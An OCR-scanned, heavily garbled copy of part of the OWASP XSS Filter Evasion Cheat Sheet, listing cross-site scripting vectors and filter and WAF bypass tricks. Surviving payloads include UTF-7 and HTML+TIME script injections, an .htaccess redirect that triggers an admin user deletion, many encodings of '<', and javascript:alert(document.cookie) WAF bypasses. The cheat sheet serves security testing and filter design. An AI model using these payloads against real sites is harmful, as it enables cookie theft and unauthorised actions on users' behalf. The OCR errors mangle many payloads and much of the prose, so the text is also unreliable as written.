DIV Expression
A variant cf this was effective against areal world cross site scripting fitter usinga newline
between the colon and 'expressior”:
Downlevel Hidden Block
Only works in IES.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites.
consider anything inside @ comment block to be safe and therefore does nct need to be removed,
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html 81829723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
hich allows our Cross Site Scripting vector. Or the system could add comment tags around
something to attempt to render it harmless. As we can see. that probably wouldrit do the job:
BASE Tag
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters,
so you wont geta JavaScript error and your XSS tag will render. Also, this relies on the fact that the
website uses dynamically placed images like inages/inage. pq rather than full paths. Ifthe path
indudes a leading forward slash like /:nages/inage. jpg youcan remove one slash from this
vector (as longas there are two to begin the comment this will work):
OBJECT Tag
If they allow objects, you can also inject virus payloads to infect the users, ete. and same with the
APPLET tag). The linked fileis actually an HTML file that can contain your XSS:
EMBED a Flash Movie That Contains XSS
Click here for a demo: ~~hitpy/hackersorgixss.
Ifyou add the attributes altowscriptaccess="never” and allometworking=
mitigate thi risk (thank you to Jonathan Vanasco forthe info).
internal” itcan
EMBED SVG Which Contains XSS Vector
This example only works in Firefox, but it's better than the above vector in Fitefox because it does
not require the user to have Flash tumed on or installed. Thanks to nEUrOO for this one.
‘
Locally hosted XML with embedded JavaScript that is generated using an XML
data island
This is the same as above but instead refers to a locally hosted (must be on the same server) XML
file that contains your cross site scripting vector. You can see the result here
HTML+TIME in XML.
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and
Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and
BODY tags for this to work
stiset attributeNane="innerHTML" to="XSSeSCRIPT DEFER>alert(“XSS")
#TNL>
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html 201329723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
Assuming you can only fit in a few characters and it filters against .js
‘You can rename your JavaScript file to an image as an XSS vector:
‘SSI (Server Side Includes)
This requires SS! to be installed on the server to use this XSS vector. | probably dont need to
mention this, but if you can run commands on the server there ate no doubt much mote serious
issues:
|
PHP
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts
remotely like this, there are probably much more die issues:
echo('alert(°XSS")"); >
IMG Embedded Commands
This works when the webpage where this is injected (Ike a web board) is behind password
protection and that password prctection works with other commends on the same domain. This
car be used to delete users, add users (if the user who visits the page is an administrator), send
credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors:
IMG Embedded Commands part i
‘This is more scary because there are absolutely no identifiers that make it look suspicious other
than itis not hosted on your own domain. The vector uses a 302 oF 304 (athers work too) to
redirect the image back to acommand. So anormal
could actually be an attack vector to run commands as the user who views the image link. Here is
the htacoess (under Apache) line fo accomplish the vector (thanks to Timo for part ofthis):
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html 211s9723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
Cookie Manipulation
‘Admittedly this is pretty obscure but Ihave seena few examples where
UTF7 Encoding
If the page that the XSS resides on doesrt provide a page charset header, or any browser that is
set toUTF-7 encoding can be exploited with the following (Thanks to Roman Wvanev for this one).
Click here for an example (you dortt need the charset statement ifthe users browser is set to autor
detect and there is no avertiding content-types on the page in Intemet Explorer and Netscape 8.1 in
IE rendeting engine mode). This does nct work in any modem browser without changing the
encoding type which is why it is marked as completely unsupported. Wetchfire found this hole in
Google's custom 404 script:
+ADW-SCRIPT+ADA-allert(‘XSS' );+ADw- /SCRIPT#AD4~
XSS Using HTML Quote Encapsulation
This was tested in IE, your mileage may vary. For performing XSS on sites that allow but
dort allow
For performing XSS on sites that allew butdortt allow \
Anather XSS to evade the same filter, /\
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html 2ars29723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
Yet anather XSS to evade the same filter, /\
And one last XSS attack to evade, /\
Here's an XSS example that bets on the fact that the regex wont catch a matching pair of quotes
but will rather fnd any quotes to terminate a parameter string impropetty:
URL String Evasion
‘Assuming http://m.googie.con/ is programmatically disallowed:
IP Versus Hostname
XSS
URLEncoding
XSS«/A>
DWORD Encoding
Note: there are cther cf variations of Dword encoding - see the IP Obfuscation calculator below for
more details:
hhetp: //1113982867/">XSS
Hex Encoding
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html 224329723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
The total sizeof each number allowedis somewhere in the neighborhood of 240 total characters
‘as you can see on the second digit, and since the hexnumber is between O and F the leading zero
on the third hex quotet is not required):
xSS
Octal Encoding
‘Again padding is allowed, although you must keep it abcve 4 total characters per class- as in class
A,dlassB, ete...
xSS
Base64 Encoding
XSS
Protocol Resolution Bypass
1/ translates to hetp:// which saves a few mare bytes. This is really handy when space is an
isaue too (two less characters can go a long way) and can easily bypass regex like
(ht|f)tp(s)?:// (thanks to Ozh for part of this one). You can also change the // to \\\\. You
doneed tokeep the stashes in place, however, otherwise this will be interpretedas a relative path
URL.
XS8&>
Google feeling lucky" part 1
Firefox uses Google's “feeling lucky’ function to redirect the user to any keywords you typein. So if
‘your exploitable page is the top for some random keyword (as you see here) you can use that
feture against any Firefox user. This uses Firefox's keyword: protocdl. You can concatenate
several keywords by using something lke the following keyword:x8s+RSnake for instance, This no
longer works within Firefox as of 2.0.
xSS
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html9723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
Google'feeling lucky" part 2
This uses a very tiny tick that appears to work Firefox only, because of i's implementation of the
“feeling lucky" function. Unlike thenext one this does not wexk in Opera because Opera believes
that thisis the old HTTP Basic Auth phishing attack, which it isnot. Its simply a malformed URL. If
‘you click okay on the dialogue it will work, but as a result of the erroneous dialogue box lam saying
that thisis not supported in Opera, andit is no longer supported in Firefoxas of 20:
XSS
Google feeling lucky" part 3
This uses a malformed URL that appears to work in Firefox and Opera only, because of their
implementation of the feeling lucky’ function. Like all of the above itrequires that you are #1 in
Google for the keywordin question (in this case "gooale"):
XSS
Removing CNAMEs
When combined with the above URL, removing win. will save an additional 4 bytes for a total byte
savings of 9 for servers that have this set up properly):
XSS
Content Replace as Attack Vector
Assuming http://mu.googie.com/ isprogrammatically replaced with nothing). | actualy used a
similar attack vector against several separate real world XSS filters ty using the conversion filter
itself (here is an example) to help create the attack vector (IE: javat\#x09;seript: was
converted into java script: , which renders in E, Netscape 8.1+ in secure site mode and Opera):
XSS
Assisting XSS with HTTP Parameter Pollution
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html 251329723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
‘Assume a content sharing flow on a web site is implemented as shown below. There is a "Content"
page which includes some content provided by users and this page also includes a link to “Share”
page which enables a user choose their favorite social sharing platform to share it on. Developers
HTML encoded the “title" parameter in the “Content” page to prevent against XSS but for some
reasons they didn't URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally
they decide that since content_type's value is a constant and will always be integer, they didn't
encode or validate the content_type in the "Share" page.
Content Page Source Code
a href=" /Share?content_type=Tatitle=<¥-Encode. forHtnlAttribute(untrusted content
title)t">Share
‘Share Page Source Code
Content Page Output
In this case if attacker set untrusted content title as “This is a regular title&content_type="alert(1)”
the link in "Content" page would be this:
Share
Asaresut, in this example the main flaws trusting the content type in the "Share" page without
proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html 261329723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
promoting it from a reflected XSS to a stoted XSS.
Character Escape Sequences
All the possible combinations of the character "\<" in HTML and JavaScript. Most of these wor't
render out of the box, but many of them can get rendered in certain circumstances as seen above.
+ we
° at
© at;
oar
© aT;
© 8960
= 88060;
= e80960;
© 8800060;
+ 54090060;
+ e9e900060;
© 8869;
+ 89860;
© erea6a;
© 5900060;
* &v000060;
= eve900060;
+ bnx30;
= &exa30
+ bex0080;
© kexa0080;
«© &exa90880;
+ 6
© kixae;
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html
21129723122, 101 AM
SS Filer Evasion - OWASP Cheat Sheet Series
asx09e;
asx000;
#00030
sexa00830;
a#xa008036;
aexse;
e#x080;
exa080;
anxooa
asxooaese:
suxooaea3
aexse;
9x00
aexa030;
exaodae
exa0a8s0;
#x0008086;
aexse;
eex02c;
eex0080;
#xa0030;
a#xa00030;
eexa0a9090;
a#xa0.
a9x030;
a8xa030;
eexaoaae;
e#xa0003C;
aexa008030:
aaxse;
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html
201329723122, 101 AM XSS Fier Evasion - OWASP Cheat Sheet Series
© gex020;
© eexaaae;
© e#xo003c;
© sexa00030;
© gexaeaease;
© eexse;
© e9x03C;
= gexoosc;
© 邐
© eexa0a030;
* Eexaoaoase;
* Vee
© yao
© \uee2e
= \ueaae:
Methods to Bypass WAF — Cross-Site Scripting
General issues
‘Stored XSS
If anatiacker managed to push XSS through the filter, WAF woukirit be able to prevent the attack
conduction.
Reflected XSS in JavaScript
Example:
Exploitation: /?xss=document cookie
XSS via request Redirection
Intps:i/cheatshectsories.owasp.orgicheatsheetsiXSS_Fier_Evasion_Cheat_ Sheet. html 20132SS Filer Evasion - OWASP Cheat Sheet Series
+ Vuherable code:
header(‘Location: .$6ETL'paran’ |);
As well as:
header(‘Refresh: @; URL='.$GET['paran']);
«This request will not pass through the WAF:
/?paran=« javascript :elert (document .cookie)
‘+ This request will pass through the WAF and an XSS attack will be conducted in certain
browsers.
/2paran=
© Videos
©
© caplet code=" javascript :confirm(document .cookie)
©
-">'>alert (String. fronCharCode (88, 83, 83) )
¢ ">
© "